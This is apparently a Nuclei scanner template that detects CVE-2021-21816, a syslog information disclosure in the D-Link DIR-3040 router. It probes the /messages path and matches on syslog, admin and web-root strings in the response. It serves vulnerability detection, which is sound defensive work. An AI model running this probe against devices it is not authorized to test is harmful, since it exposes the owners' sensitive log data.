id: CVE-2021-21816

info:
  name: D-LINK DIR-3040 - Syslog Information Disclosure
  description: An information disclosure vulnerability exists in the Syslog functionality of D-LINK DIR-3040 1.13B03. A specially crafted network request can lead to the disclosure of sensitive information. An attacker can send an HTTP request to trigger this vulnerability.
  author: gy741
  severity: medium
  reference: https://talosintelligence.com/vulnerability_reports/TALOS-2021-1281
  tags: cve,cve2021,dlink,exposure,router,syslog
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
    cvss-score: 4.30
    cve-id: CVE-2021-21816
    cwe-id: CWE-922

requests:
  - method: GET
    path:
      - "{{BaseURL}}/messages"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "syslog:"
          - "admin"
          - "/etc_ro/lighttpd/www"
        part: body
        condition: and

      - type: status
        status:
          - 200